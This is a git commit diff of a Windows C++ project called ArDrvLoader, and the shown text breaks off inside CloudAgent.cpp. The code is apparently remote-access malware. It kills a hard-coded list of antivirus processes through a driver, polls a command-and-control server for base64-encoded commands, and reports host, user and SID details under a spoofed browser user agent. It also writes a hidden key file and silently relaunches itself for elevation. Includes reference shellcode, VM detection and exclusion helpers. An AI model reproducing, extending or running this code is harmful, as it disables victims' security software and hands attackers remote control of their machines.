commit 26642f28a2642717c2e9ebc9ed5d81f8e5bd5331 Author: My Name Date: Tue Nov 3 20:26:30 2026 -0800 Init commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8b9f705 --- /dev/null +++ b/.gitignore @@ -0,0 +1,70 @@ +# ── Visual Studio ──────────────────────────────────────────────── +.vs/ +*.sln.docstates +*.suo +*.user +*.rsuser +*.VC.db +*.VC.VC.opendb +*.psess +*.vsp +*.vspx +*.sap + +# ── Build output / MSBuild intermediates ───────────────────────── +x64/ +Debug/ +Release/ +dist/ +obj/ +bin/ +*.obj +*.res +*.tlog +*.recipe +*.ilk +*.iobj +*.ipdb +*.idb +*.pdb +*.lastbuildstate +*.cache +*.log + +# ── Generated binaries (build.ps1 rebuilds these) ──────────────── +*.exe +*.dll +ardrvstage.dll +ArDrvLoader.exe + +# ── Node / server ──────────────────────────────────────────────── +node_modules/ +npm-debug.log* +yarn-error.log* +pnpm-debug.log* +package-lock.json.bak + +# ── Server runtime data (SQLite db, WAL/SHM) ───────────────────── +server/data/ +*.sqlite +*.sqlite-wal +*.sqlite-shm +*.db + +# ── Secrets / local config ─────────────────────────────────────── +.env +.env.local +.env.*.local +cloudflare/.dev.vars +cloudflare/.wrangler/ + +# ── Temp / misc ────────────────────────────────────────────────── +*.tmp +*.temp +*.bak +*.orig +*.swp +*~ +Thumbs.db +desktop.ini +.DS_Store diff --git a/ArDrvLoader.sln b/ArDrvLoader.sln new file mode 100644 index 0000000..d8d2a99 --- /dev/null +++ b/ArDrvLoader.sln @@ -0,0 +1,21 @@ +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.31903.59 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ArDrvLoader", "ArDrvLoader.vcxproj", "{8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Debug|x64.ActiveCfg = Debug|x64 + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Debug|x64.Build.0 = Debug|x64 + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Release|x64.ActiveCfg = Release|x64 + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/ArDrvLoader.vcxproj b/ArDrvLoader.vcxproj new file mode 100644 index 0000000..46a6f27 --- /dev/null +++ b/ArDrvLoader.vcxproj @@ -0,0 +1,137 @@ + + + + + Debug + x64 + + + Release + x64 + + + + + 17.0 + {8F0F2E5A-7A31-4A6C-8F51-0A8F0A7A1B2C} + ArDrvLoader + 10.0 + + + + + + Application + true + $(DefaultPlatformToolset) + Unicode + + + + Application + false + $(DefaultPlatformToolset) + true + Unicode + + + + + + + + + + + true + + + + + Level3 + true + _DEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;ARDRV_DEFAULT_URL=L"http://127.0.0.1:8789";ARDRV_DEFAULT_OPERATOR_KEY=L"testop";ARDRV_DEFAULT_SECRET=L"testsecret";ARDRV_DEFAULT_AGENT=L"";ARDRV_ALLOW_VM_DEFAULT=1;%(PreprocessorDefinitions) + stdcpp17 + + + Console + + + + + + Level3 + true + NDEBUG;WIN32_LEAN_AND_MEAN;UNICODE;_UNICODE;_CRT_SECURE_NO_WARNINGS;ARDRV_DEFAULT_URL=L"http://127.0.0.1:8789";ARDRV_DEFAULT_OPERATOR_KEY=L"testop";ARDRV_DEFAULT_SECRET=L"testsecret";ARDRV_DEFAULT_AGENT=L"";ARDRV_ALLOW_VM_DEFAULT=1;%(PreprocessorDefinitions) + stdcpp17 + MaxSpeed + true + true + + + Windows + wmainCRTStartup + true + /Brepro /PDBALTPATH:%_PDB% %(AdditionalOptions) + true + + + + + + HAVE_DRIVER_IMAGE;%(PreprocessorDefinitions) + + + HAVE_STAGE_DLL;%(PreprocessorDefinitions) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ArDrvLoader.vcxproj.filters b/ArDrvLoader.vcxproj.filters new file mode 100644 index 0000000..57a5c88 --- /dev/null +++ b/ArDrvLoader.vcxproj.filters @@ -0,0 +1,113 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + + + diff --git a/AvKill.cpp b/AvKill.cpp new file mode 100644 index 0000000..d43aa2b --- /dev/null +++ b/AvKill.cpp @@ -0,0 +1,74 @@ +#include "Common.h" +#include "AvKill.h" +#include "KillSafety.h" +#include "Logger.h" + +#include +#include + +static const wchar_t* kAvImages[] = +{ + L"MsMpEng.exe", + L"NisSrv.exe", + L"MpCmdRun.exe", + L"avast.exe", + L"AvastUI.exe", + L"AvastSvc.exe", + L"avguard.exe", + L"avgnt.exe", + L"AvgSvc.exe", + L"avp.exe", + L"klnagent.exe", + L"klheads.exe", + L"kxetray.exe", + L"ekrn.exe", + L"ESETSvc.exe", + L"mcshield.exe", + L"mfemms.exe", + L"sophosclean.exe", + L"SAVService.exe", + L"ccSvcHst.exe", + L"smc.exe", + L"bdagent.exe", + L"vsserv.exe", +}; + +static std::vector AvImageList() +{ + std::vector v; + + for (const wchar_t* n : kAvImages) + v.emplace_back(n); + + return v; +} + +bool KillAVProcesses() +{ + KillReport report; + + // Env switch lets you watch the decision path without terminating anything. + wchar_t dry[8]{}; + DWORD n = GetEnvironmentVariableW(L"ARDRV_KILL_DRYRUN", dry, _countof(dry)); + const bool dryRun = n > 0 && (dry[0] == L'1' || dry[0] == L'y' || dry[0] == L'Y'); + + KillProcessesSafe(AvImageList(), dryRun, 16, report, true); + + Log(L"[+] AV kill: %s", report.Format().c_str()); + + wprintf(L"[killav] %s\n", report.Format().c_str()); + return true; +} + +bool KillAVProcessesEx(bool dryRun, std::wstring& summary) +{ + KillReport report; + + KillProcessesSafe(AvImageList(), dryRun, 16, report, true); + + summary = report.Format(); + + Log(L"[+] AV kill: %s", summary.c_str()); + return report.killed > 0; +} + diff --git a/AvKill.h b/AvKill.h new file mode 100644 index 0000000..8de2890 --- /dev/null +++ b/AvKill.h @@ -0,0 +1,10 @@ +#pragma once + +#include + +// Safe AV termination through the driver: identity-checked, protected-list +// aware, capped. Honours ARDRV_KILL_DRYRUN=1. +bool KillAVProcesses(); + +// Same, with an explicit dry-run switch and a report string for the cloud ACK. +bool KillAVProcessesEx(bool dryRun, std::wstring& summary); diff --git a/CloudAgent.cpp b/CloudAgent.cpp new file mode 100644 index 0000000..da1741d --- /dev/null +++ b/CloudAgent.cpp @@ -0,0 +1,3464 @@ +#include "Common.h" +#include "CloudAgent.h" + +#include "Logger.h" +#include "TokenUtils.h" +#include "DriverClient.h" +#include "ProcessUtils.h" +#include "ShellcodeUtils.h" +#include "AvKill.h" +#include "ServiceManager.h" +#include "GuardService.h" +#include "VmDetect.h" +#include "HostSpawn.h" +#include "HostStager.h" +#include "Paths.h" +#include "StageClient.h" +#include "Exclusions.h" + +#include +#include +#include + +#include +// Build-time defaults so the exe can run with no arguments at all (double-click). +#ifndef ARDRV_DEFAULT_URL +#define ARDRV_DEFAULT_URL L"" +#endif +#ifndef ARDRV_DEFAULT_OPERATOR_KEY +#define ARDRV_DEFAULT_OPERATOR_KEY L"" +#endif +#ifndef ARDRV_DEFAULT_SECRET +#define ARDRV_DEFAULT_SECRET L"" +#endif +#ifndef ARDRV_DEFAULT_AGENT +#define ARDRV_DEFAULT_AGENT L"" +#endif +#include +#include +#include +#include +#include + +#pragma comment(lib, "winhttp.lib") +#pragma comment(lib, "shell32.lib") + +#ifndef INTERNET_SCHEME_HTTPS +#define INTERNET_SCHEME_HTTPS 2 +#endif + +#ifndef WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 0x00000800 +#endif + +struct CloudConfig +{ + std::wstring agent; + std::wstring url; + std::wstring secret; + DWORD intervalMs = 15000; + + bool startDriver = true; + bool elevatedRequested = false; + + std::wstring startupFile; + std::wstring startupArgs; + std::wstring startupCommand; + bool startupAsUser = false; +}; + +static CloudConfig g_activeCloudConfig; +static CloudConfig g_serviceConfig; +static bool g_allowVm = false; +static bool g_serviceConfigValid = false; + +struct CloudCommand +{ + std::wstring id; + std::wstring text; +}; + +static SERVICE_STATUS_HANDLE g_serviceStatusHandle = nullptr; +static SERVICE_STATUS g_serviceStatus{}; +static HANDLE g_serviceStopEvent = nullptr; +static std::wstring g_serviceName = L"ArDrvAgent"; + +static void ReportServiceStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0) +{ + if (!g_serviceStatusHandle) + return; + + static DWORD checkPoint = 1; + + g_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_serviceStatus.dwCurrentState = state; + g_serviceStatus.dwWin32ExitCode = exitCode; + g_serviceStatus.dwWaitHint = waitHint; + g_serviceStatus.dwControlsAccepted = + (state == SERVICE_RUNNING) ? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN : 0; + + if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING) + g_serviceStatus.dwCheckPoint = checkPoint++; + else + g_serviceStatus.dwCheckPoint = 0; + + SetServiceStatus(g_serviceStatusHandle, &g_serviceStatus); +} + +static DWORD WINAPI ServiceCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context) +{ + (void)eventType; + (void)eventData; + (void)context; + + switch (control) + { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + ReportServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + if (g_serviceStopEvent) + SetEvent(g_serviceStopEvent); + return NO_ERROR; + + case SERVICE_CONTROL_INTERROGATE: + return NO_ERROR; + + default: + return ERROR_CALL_NOT_IMPLEMENTED; + } +} + +static void TrimW(std::wstring& s) +{ + size_t a = 0; + size_t b = s.size(); + + while (a < b && iswspace(s[a])) + ++a; + + while (b > a && iswspace(s[b - 1])) + --b; + + if (a != 0 || b != s.size()) + s = s.substr(a, b - a); +} + +static std::wstring Utf16(const std::string& s) +{ + if (s.empty()) + return std::wstring(); + + int n = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + if (n <= 0) + return std::wstring(); + + std::wstring w((size_t)n, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), w.data(), n); + return w; +} + +static std::string Utf8(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + int n = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); + if (n <= 0) + return std::string(); + + std::string s((size_t)n, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), s.data(), n, nullptr, nullptr); + return s; +} + +static int Base64Val(int c) +{ + if (c >= 'A' && c <= 'Z') return c - 'A'; + if (c >= 'a' && c <= 'z') return c - 'a' + 26; + if (c >= '0' && c <= '9') return c - '0' + 52; + if (c == '+') return 62; + if (c == '/') return 63; + return -1; +} + +static std::string Base64Decode(const std::string& input) +{ + std::string clean; + clean.reserve(input.size()); + + for (char c : input) + { + if (c == ' ' || c == '\r' || c == '\n' || c == '\t') + continue; + + clean.push_back(c); + } + + std::string out; + out.reserve(clean.size()); + + int value = 0; + int bits = 0; + + for (char c : clean) + { + if (c == '=') + break; + + int v = Base64Val((unsigned char)c); + if (v < 0) + continue; + + value = (value << 6) | v; + bits += 6; + + if (bits >= 8) + { + bits -= 8; + out.push_back((char)((value >> bits) & 0xFF)); + } + } + + return out; +} + +static std::string Base64Encode(const std::string& input) +{ + static const char* tbl = + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz" + "0123456789+/"; + + std::string out; + int val = 0; + int bits = 0; + + for (unsigned char c : input) + { + val = (val << 8) | c; + bits += 8; + + while (bits >= 6) + { + bits -= 6; + out.push_back(tbl[(val >> bits) & 0x3F]); + } + } + + if (bits > 0) + out.push_back(tbl[((val << (6 - bits)) & 0x3F)]); + + while (out.size() % 4) + out.push_back('='); + + return out; +} + +static std::string Base64EncodeUtf16LE(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + std::string bytes; + bytes.resize(w.size() * sizeof(wchar_t)); + memcpy(bytes.data(), w.data(), bytes.size()); + + return Base64Encode(bytes); +} + +static std::wstring UrlEncode(const std::wstring& s) +{ + std::string u = Utf8(s); + std::string out; + + for (unsigned char c : u) + { + bool keep = + (c >= 'a' && c <= 'z') || + (c >= 'A' && c <= 'Z') || + (c >= '0' && c <= '9') || + (c == '-') || (c == '_') || (c == '.') || (c == '~'); + + if (keep) + { + out.push_back((char)c); + } + else + { + char buf[8]{}; + sprintf_s(buf, "%%%02X", c); + out += buf; + } + } + + return Utf16(out); +} + +static std::string HexLower(const BYTE* data, DWORD len) +{ + static const char* digits = "0123456789abcdef"; + + std::string out; + out.reserve(len * 2); + + for (DWORD i = 0; i < len; ++i) + { + out.push_back(digits[(data[i] >> 4) & 0xF]); + out.push_back(digits[data[i] & 0xF]); + } + + return out; +} + +// Raw SHA-256 of a byte string. +static std::string Sha256Raw(const std::string& data) +{ + std::string out; + + HCRYPTPROV prov = 0; + HCRYPTHASH hash = 0; + + if (!CryptAcquireContextW(&prov, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) + return out; + + if (CryptCreateHash(prov, CALG_SHA_256, 0, 0, &hash)) + { + const BYTE empty = 0; + const BYTE* ptr = data.empty() ? &empty : (const BYTE*)data.data(); + + if (data.empty() || CryptHashData(hash, ptr, (DWORD)data.size(), 0)) + { + BYTE digest[32]{}; + DWORD len = sizeof(digest); + + if (CryptGetHashParam(hash, HP_HASHVAL, digest, &len, 0)) + out.assign((const char*)digest, len); + } + + CryptDestroyHash(hash); + } + + CryptReleaseContext(prov, 0); + return out; +} + +static std::string Sha256HexOfBytes(const std::string& data) +{ + std::string raw = Sha256Raw(data); + + if (raw.empty()) + return std::string(); + + return HexLower((const BYTE*)raw.data(), (DWORD)raw.size()); +} + +// HMAC-SHA256 built on the plain digest so it does not depend on CryptoAPI +// HMAC key handling. +static std::string HmacSha256Raw(const std::string& keyIn, const std::string& message) +{ + std::string key = keyIn; + + if (key.size() > 64) + key = Sha256Raw(key); + + key.resize(64, '\0'); + + std::string ipad(64, '\0'); + std::string opad(64, '\0'); + + for (size_t i = 0; i < 64; ++i) + { + ipad[i] = (char)((unsigned char)key[i] ^ 0x36); + opad[i] = (char)((unsigned char)key[i] ^ 0x5C); + } + + return Sha256Raw(opad + Sha256Raw(ipad + message)); +} + +static std::string HmacSha256Hex(const std::string& key, const std::string& message) +{ + std::string raw = HmacSha256Raw(key, message); + + if (raw.empty()) + return std::string(); + + return HexLower((const BYTE*)raw.data(), (DWORD)raw.size()); +} + +static unsigned long long UnixTimeNow() +{ + FILETIME ft{}; + GetSystemTimeAsFileTime(&ft); + + ULARGE_INTEGER u{}; + u.LowPart = ft.dwLowDateTime; + u.HighPart = ft.dwHighDateTime; + + return (u.QuadPart - 116444736000000000ULL) / 10000000ULL; +} + +// Header-safe agent id: no CR/LF, no separators that break the canonical string. +static std::wstring SanitizeAgentId(const std::wstring& agent) +{ + std::wstring out; + + for (wchar_t ch : agent) + { + if ((ch >= L'a' && ch <= L'z') || + (ch >= L'A' && ch <= L'Z') || + (ch >= L'0' && ch <= L'9') || + ch == L'.' || ch == L'_' || ch == L'-') + { + out.push_back(ch); + } + } + + if (out.size() > 64) + out.resize(64); + + return out; +} + +// Request signature: HMAC(secret, agent \n ts \n method \n path \n sha256hex(body)) +static std::wstring BuildRequestSignature( + const CloudConfig& cfg, + const std::wstring& method, + const std::wstring& path, + const std::string& body, + std::wstring& timestampOut) +{ + std::wstring agent = SanitizeAgentId(cfg.agent); + unsigned long long now = UnixTimeNow(); + + timestampOut = std::to_wstring(now); + + std::string canonical = + Utf8(agent) + "\n" + + Utf8(timestampOut) + "\n" + + Utf8(method) + "\n" + + Utf8(path) + "\n" + + Sha256HexOfBytes(body); + + return Utf16(HmacSha256Hex(Utf8(cfg.secret), canonical)); +} + +// Per-agent key issued by /api/enroll and stored beside the host tracking file. +static std::wstring AgentKeyPath(const std::wstring& agent) +{ + std::wstring safe; + + for (wchar_t c : agent) + { + if ((c >= L'a' && c <= L'z') || (c >= L'A' && c <= L'Z') || + (c >= L'0' && c <= L'9') || c == L'.' || c == L'_' || c == L'-') + { + safe.push_back(c); + } + } + + return ArdrvRoot() + L"\\agent-" + safe + L".key"; +} + +static std::wstring ReadAgentKeyFile(const std::wstring& agent) +{ + HANDLE h = CreateFileW( + AgentKeyPath(agent).c_str(), + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + { + // Legacy single-key layout: one agent.key per machine root. + h = CreateFileW( + (ArdrvRoot() + L"\\agent.key").c_str(), + GENERIC_READ, + FILE_SHARE_READ, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + } + + if (h == INVALID_HANDLE_VALUE) + return std::wstring(); + + char buf[512]{}; + DWORD read = 0; + ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr); + CloseHandle(h); + + std::wstring out; + + for (DWORD i = 0; i < read; ++i) + { + char c = buf[i]; + + if (c == '\r' || c == '\n' || c == ' ') + continue; + + out.push_back((wchar_t)c); + } + + return out; +} + +static bool WriteAgentKeyFile(const std::wstring& agent, const std::wstring& secret) +{ + std::string bytes = Utf8(secret); + + HANDLE h = CreateFileW( + AgentKeyPath(agent).c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_HIDDEN, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + return false; + + DWORD written = 0; + BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr); + CloseHandle(h); + + return ok && written == bytes.size(); +} + +static std::wstring JsonStringField(const std::string& json, const char* field) +{ + std::string needle = std::string("\"") + field + "\":\""; + + size_t pos = json.find(needle); + + if (pos == std::string::npos) + return std::wstring(); + + pos += needle.size(); + + size_t end = json.find('"', pos); + + if (end == std::string::npos) + return std::wstring(); + + return Utf16(json.substr(pos, end - pos)); +} + +static std::wstring RegReadString(const wchar_t* name) +{ + std::wstring out; + + HKEY h = nullptr; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Software\\CloudAgent", 0, KEY_READ, &h) != ERROR_SUCCESS) + return out; + + DWORD type = 0; + DWORD size = 0; + + if (RegQueryValueExW(h, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS || + (type != REG_SZ && type != REG_EXPAND_SZ) || + size == 0) + { + RegCloseKey(h); + return out; + } + + std::vector buf(size / sizeof(wchar_t) + 1); + + if (RegQueryValueExW(h, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) + out = buf.data(); + + RegCloseKey(h); + return out; +} + +static std::wstring ConfigValue(const wchar_t* envName, const wchar_t* regName, const wchar_t* def) +{ + wchar_t env[32768]{}; + DWORD n = GetEnvironmentVariableW(envName, env, _countof(env)); + + if (n > 0 && n < _countof(env)) + return env; + + std::wstring reg = RegReadString(regName); + if (!reg.empty()) + return reg; + + return def ? def : L""; +} + +static bool ParseBoolW(std::wstring v) +{ + for (auto& ch : v) + { + if (ch >= L'A' && ch <= L'Z') + ch = (wchar_t)(ch + 32); + } + + return v == L"1" || + v == L"true" || + v == L"yes" || + v == L"on" || + v == L"enable"; +} + +static bool ConfigBool(const wchar_t* envName, const wchar_t* regName, bool defaultValue) +{ + std::wstring v = ConfigValue(envName, regName, L""); + if (v.empty()) + return defaultValue; + + return ParseBoolW(v); +} + +static std::wstring MakeUrl(const CloudConfig& cfg, const std::wstring& path) +{ + std::wstring url = cfg.url; + if (url.empty()) + return url; + + if (url.back() != L'/') + url += L'/'; + + url += path; + return url; +} + +static bool HttpRequest( + const std::wstring& method, + const std::wstring& url, + const std::wstring& signPath, + const CloudConfig* auth, + const std::string& body, + std::string& response, + DWORD* statusCodeOut, + const std::wstring& extraHeaders = L"") +{ + response.clear(); + + if (statusCodeOut) + *statusCodeOut = 0; + + URL_COMPONENTS parsed{}; + parsed.dwStructSize = sizeof(parsed); + + wchar_t host[512]{}; + wchar_t path[4096]{}; + wchar_t extra[4096]{}; + + parsed.lpszHostName = host; + parsed.dwHostNameLength = _countof(host); + parsed.lpszUrlPath = path; + parsed.dwUrlPathLength = _countof(path); + parsed.lpszExtraInfo = extra; + parsed.dwExtraInfoLength = _countof(extra); + + if (!WinHttpCrackUrl(url.c_str(), 0, 0, &parsed)) + return false; + + std::wstring uHost = host; + std::wstring uPath = path; + + if (uPath.empty()) + uPath = L"/"; + + if (extra[0]) + uPath += extra; + + INTERNET_PORT port = parsed.nPort; + if (port == 0) + { + port = (parsed.nScheme == INTERNET_SCHEME_HTTPS) + ? INTERNET_DEFAULT_HTTPS_PORT + : INTERNET_DEFAULT_HTTP_PORT; + } + + HINTERNET session = WinHttpOpen( + L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, + 0); + + if (!session) + return false; + + DWORD protocols = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2; + WinHttpSetOption(session, WINHTTP_OPTION_SECURE_PROTOCOLS, &protocols, sizeof(protocols)); + WinHttpSetTimeouts(session, 5000, 10000, 15000, 30000); + + HINTERNET connect = WinHttpConnect(session, uHost.c_str(), port, 0); + if (!connect) + { + WinHttpCloseHandle(session); + return false; + } + + DWORD flags = (parsed.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0; + + HINTERNET request = WinHttpOpenRequest( + connect, + method.c_str(), + uPath.c_str(), + nullptr, + WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + flags); + + if (!request) + { + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + return false; + } + + std::wstring headers = L"Accept: application/json, text/plain, */*\r\n"; + + if (auth && !auth->agent.empty() && !auth->secret.empty()) + { + std::wstring timestamp; + std::wstring signature = + BuildRequestSignature(*auth, method, signPath, body, timestamp); + + headers += L"X-Agent-Id: " + SanitizeAgentId(auth->agent) + L"\r\n"; + headers += L"X-Agent-Ts: " + timestamp + L"\r\n"; + headers += L"X-Agent-Sign: " + signature + L"\r\n"; + } + + if (!body.empty()) + headers += L"Content-Type: application/octet-stream\r\n"; + + if (!extraHeaders.empty()) + headers += extraHeaders; + + const wchar_t* hdr = headers.empty() ? nullptr : headers.c_str(); + DWORD hdrLen = hdr ? (DWORD)-1 : 0; + + LPVOID data = body.empty() ? WINHTTP_NO_REQUEST_DATA : (LPVOID)body.data(); + DWORD dataLen = (DWORD)body.size(); + + if (!WinHttpSendRequest(request, hdr, hdrLen, data, dataLen, dataLen, 0)) + { + WinHttpCloseHandle(request); + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + return false; + } + + if (!WinHttpReceiveResponse(request, nullptr)) + { + WinHttpCloseHandle(request); + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + return false; + } + + if (statusCodeOut) + { + DWORD status = 0; + DWORD size = sizeof(status); + + if (WinHttpQueryHeaders( + request, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, + &status, + &size, + WINHTTP_NO_HEADER_INDEX)) + { + *statusCodeOut = status; + } + } + + DWORD available = 0; + while (WinHttpQueryDataAvailable(request, &available)) + { + if (available == 0) + break; + + size_t oldSize = response.size(); + response.resize(oldSize + available); + + DWORD read = 0; + if (!WinHttpReadData(request, &response[oldSize], available, &read) || read == 0) + break; + + if (read < available) + response.resize(oldSize + read); + } + + WinHttpCloseHandle(request); + WinHttpCloseHandle(connect); + WinHttpCloseHandle(session); + + return true; +} + +static std::wstring GetProcessSidString(); + +// Metadata the panel shows. Sent with every poll, so the agent is listed even +// before its first command runs. +static std::wstring AgentMetaHeaders(const CloudConfig& cfg) +{ + wchar_t host[256]{}; + DWORD hostLen = _countof(host); + GetComputerNameW(host, &hostLen); + + wchar_t user[256]{}; + DWORD userLen = _countof(user); + GetUserNameW(user, &userLen); + + std::wstring meta; + + meta += L"X-Agent-Host: "; + meta += host; + meta += L"\r\n"; + + meta += L"X-Agent-User: "; + meta += user; + meta += L"\r\n"; + + meta += L"X-Agent-Sid: "; + meta += GetProcessSidString(); + meta += L"\r\n"; + + meta += L"X-Agent-Version: 1.1.0\r\n"; + + meta += L"X-Agent-Interval: "; + meta += std::to_wstring(cfg.intervalMs); + meta += L"\r\n"; + + meta += L"X-Agent-System: "; + meta += IsCurrentProcessSystem() ? L"1\r\n" : L"0\r\n"; + + return meta; +} + +static bool PollCommand(const CloudConfig& cfg, CloudCommand& out) +{ + out = CloudCommand(); + + std::wstring path = L"poll?agent=" + UrlEncode(SanitizeAgentId(cfg.agent)); + + std::string body; + DWORD status = 0; + + if (!HttpRequest(L"GET", MakeUrl(cfg, path), path, &cfg, body, body, &status, AgentMetaHeaders(cfg))) + return false; + + if (status >= 400) + return false; + + if (status == 204 || body.empty()) + return false; + + while (!body.empty() && + (body.back() == '\r' || body.back() == '\n' || body.back() == '\0')) + { + body.pop_back(); + } + + size_t nl = body.find('\n'); + std::string idPart; + std::string cmdPart; + + if (nl != std::string::npos) + { + idPart = body.substr(0, nl); + cmdPart = body.substr(nl + 1); + } + else + { + cmdPart = body; + } + + std::string decoded = Base64Decode(cmdPart); + + if (decoded.empty() && !cmdPart.empty()) + decoded = cmdPart; + + out.id = Utf16(idPart); + out.text = Utf16(decoded); + TrimW(out.text); + + return !out.text.empty(); +} + +static bool AckCommand(const CloudConfig& cfg, const std::wstring& id, const std::wstring& result) +{ + std::wstring path = + L"ack?agent=" + UrlEncode(SanitizeAgentId(cfg.agent)) + + L"&id=" + UrlEncode(id); + + std::string body = Base64Encode(Utf8(result)); + std::string resp; + + return HttpRequest(L"POST", MakeUrl(cfg, path), path, &cfg, body, resp, nullptr); +} + +static std::wstring GetProcessSidString() +{ + HANDLE hToken = nullptr; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) + return L"?"; + + DWORD needed = 0; + + GetTokenInformation(hToken, TokenUser, nullptr, 0, &needed); + + if (needed == 0) + { + CloseHandle(hToken); + return L"?"; + } + + std::vector buf(needed); + PTOKEN_USER tu = reinterpret_cast(buf.data()); + + if (!GetTokenInformation(hToken, TokenUser, tu, needed, &needed)) + { + CloseHandle(hToken); + return L"?"; + } + + LPWSTR sidStr = nullptr; + std::wstring out = L"?"; + + if (ConvertSidToStringSidW(tu->User.Sid, &sidStr)) + { + out = sidStr; + LocalFree(sidStr); + } + + CloseHandle(hToken); + return out; +} + +static bool IsProcessAdmin() +{ + PSID adminSid = nullptr; + bool isAdmin = false; + + if (ConvertStringSidToSidW(L"S-1-5-32-544", &adminSid)) + { + BOOL member = FALSE; + + if (CheckTokenMembership(nullptr, adminSid, &member)) + isAdmin = (member == TRUE); + + FreeSid(adminSid); + } + + return isAdmin; +} + +static std::wstring BuildParamsForRelaunch(int argc, wchar_t** argv) +{ + std::wstring params; + + for (int i = 1; i < argc; ++i) + { + std::wstring arg = argv[i]; + if (arg.empty()) + continue; + + bool needQuote = arg.find(L' ') != std::wstring::npos; + + if (!params.empty()) + params += L" "; + + if (needQuote) + params += L'"'; + + params += arg; + + if (needQuote) + params += L'"'; + } + + if (!params.empty()) + params += L" "; + + params += L"--elevated"; + + return params; +} + +static bool EnsureAdminIfNeeded(int argc, wchar_t** argv, const CloudConfig& cfg) +{ + if (cfg.elevatedRequested) + return true; + + if (IsCurrentProcessSystem()) + return true; + + if (IsProcessAdmin()) + return true; + + wchar_t exe[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe)); + + if (len == 0 || len >= _countof(exe)) + return false; + + std::wstring params = BuildParamsForRelaunch(argc, argv); + + HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_HIDE); + + if ((INT_PTR)h > 32) + { + ExitProcess(0); + return true; + } + + h = ShellExecuteW(nullptr, nullptr, exe, params.c_str(), nullptr, SW_HIDE); + + if ((INT_PTR)h > 32) + { + ExitProcess(0); + return true; + } + + return false; +} + +static HANDLE DuplicateTokenForPrimary(HANDLE src) +{ + HANDLE dup = nullptr; + + const DWORD fullAccess = + TOKEN_QUERY | + 